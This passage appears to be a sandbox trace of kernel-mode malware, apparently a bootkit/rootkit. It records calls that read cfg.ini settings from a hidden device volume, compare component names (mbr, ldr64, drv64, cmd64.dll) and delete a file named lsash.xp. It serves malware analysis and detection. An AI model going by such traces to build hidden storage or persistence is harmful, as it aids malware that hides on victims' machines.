IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.806] ReleaseMutex (hMutex=0xf0) returned 1 [0126.806] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.806] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.806] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.806] KeEnterCriticalRegion () [0126.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.806] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.806] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.806] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.806] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.806] IdePortDispatch () returned 0x103 [0126.806] KeWaitForMutexObject () returned 0x0 [0126.806] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.806] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.806] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.806] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.806] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.806] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037dad90 [0126.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.806] KeLeaveCriticalRegion () [0126.806] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.806] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.807] KeEnterCriticalRegion () [0126.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.807] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.807] KeLeaveCriticalRegion () [0126.807] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.807] KeEnterCriticalRegion () [0126.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.807] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.807] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.807] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.807] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.807] IdePortDispatch () returned 0x103 [0126.807] KeWaitForMutexObject () returned 0x0 [0126.807] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.807] KeLeaveCriticalRegion () [0126.807] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.807] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.807] KeEnterCriticalRegion () [0126.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.807] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b20000 [0126.807] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.807] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.807] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.807] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.807] IdePortDispatch () returned 0x103 [0126.808] KeWaitForMutexObject () returned 0x0 [0126.808] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.808] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.808] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.808] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.808] IdePortDispatch () returned 0x103 [0126.808] KeWaitForMutexObject () returned 0x0 [0126.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.808] KeLeaveCriticalRegion () [0126.808] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.809] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.809] KeEnterCriticalRegion () [0126.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.809] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.809] KeLeaveCriticalRegion () [0126.809] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.809] KeEnterCriticalRegion () [0126.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.809] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.809] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003accc40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.809] KeLeaveCriticalRegion () [0126.809] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.809] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.809] KeEnterCriticalRegion () [0126.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.809] ExFreePoolWithTag (P=0xfffffa80037dad90, Tag=0x0) [0126.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.809] KeLeaveCriticalRegion () [0126.809] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.809] ReleaseMutex (hMutex=0xf0) returned 1 [0126.809] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.809] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.809] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.809] KeEnterCriticalRegion () [0126.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.810] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.810] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.810] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.810] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.810] IdePortDispatch () returned 0x103 [0126.810] KeWaitForMutexObject () returned 0x0 [0126.810] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.810] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.810] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.810] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.810] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.810] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003accb30 [0126.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.810] KeLeaveCriticalRegion () [0126.810] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.810] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.810] KeEnterCriticalRegion () [0126.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.810] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.810] KeLeaveCriticalRegion () [0126.810] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.810] KeEnterCriticalRegion () [0126.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.810] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.810] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.810] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.810] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.810] IdePortDispatch () returned 0x103 [0126.811] KeWaitForMutexObject () returned 0x0 [0126.811] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.811] KeLeaveCriticalRegion () [0126.811] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.811] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.811] KeEnterCriticalRegion () [0126.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.811] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b21000 [0126.811] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.811] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.811] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.811] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.811] IdePortDispatch () returned 0x103 [0126.811] KeWaitForMutexObject () returned 0x0 [0126.811] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.811] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.811] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.812] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.812] IdePortDispatch () returned 0x103 [0126.812] KeWaitForMutexObject () returned 0x0 [0126.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.812] KeLeaveCriticalRegion () [0126.812] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.812] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.812] KeEnterCriticalRegion () [0126.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.812] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.813] KeLeaveCriticalRegion () [0126.813] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.813] KeEnterCriticalRegion () [0126.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.813] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.813] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.813] KeLeaveCriticalRegion () [0126.813] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.813] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.813] KeEnterCriticalRegion () [0126.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.813] ExFreePoolWithTag (P=0xfffffa8003accb30, Tag=0x0) [0126.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.813] KeLeaveCriticalRegion () [0126.813] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.813] ReleaseMutex (hMutex=0xf0) returned 1 [0126.813] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.813] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.813] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.813] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.813] KeEnterCriticalRegion () [0126.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.813] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.813] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.813] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.813] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.813] IdePortDispatch () returned 0x103 [0126.814] KeWaitForMutexObject () returned 0x0 [0126.814] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.814] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.814] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.814] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.814] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.814] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.814] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.814] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.814] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.814] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.814] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.814] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.814] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.814] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.814] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.814] KeLeaveCriticalRegion () [0126.814] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.814] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.814] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.814] KeEnterCriticalRegion () [0126.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.814] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.814] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.814] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.814] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.814] IdePortDispatch () returned 0x103 [0126.815] KeWaitForMutexObject () returned 0x0 [0126.815] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.815] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.815] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.815] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.815] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.815] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.815] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.815] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.815] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.815] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.815] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.815] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.815] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.815] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.815] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.815] KeLeaveCriticalRegion () [0126.815] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.815] ReleaseMutex (hMutex=0x100) returned 1 [0126.815] Sleep (dwMilliseconds=0x2bf20) [0126.823] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6eca8290, dwHighDateTime=0x1d24fa4)) [0126.823] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.823] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.823] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.823] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.823] KeEnterCriticalRegion () [0126.823] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.823] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.823] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.823] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.823] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.823] IdePortDispatch () returned 0x103 [0126.824] KeWaitForMutexObject () returned 0x0 [0126.824] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.824] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.824] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.824] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.824] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.824] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf81a0 [0126.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.824] KeLeaveCriticalRegion () [0126.824] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.824] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.824] KeEnterCriticalRegion () [0126.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.824] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.824] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.824] KeLeaveCriticalRegion () [0126.824] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.824] KeEnterCriticalRegion () [0126.824] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.824] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.824] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.824] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.824] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.824] IdePortDispatch () returned 0x103 [0126.825] KeWaitForMutexObject () returned 0x0 [0126.825] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.825] KeLeaveCriticalRegion () [0126.825] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.825] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.825] KeEnterCriticalRegion () [0126.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.825] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b24000 [0126.825] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.825] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.825] 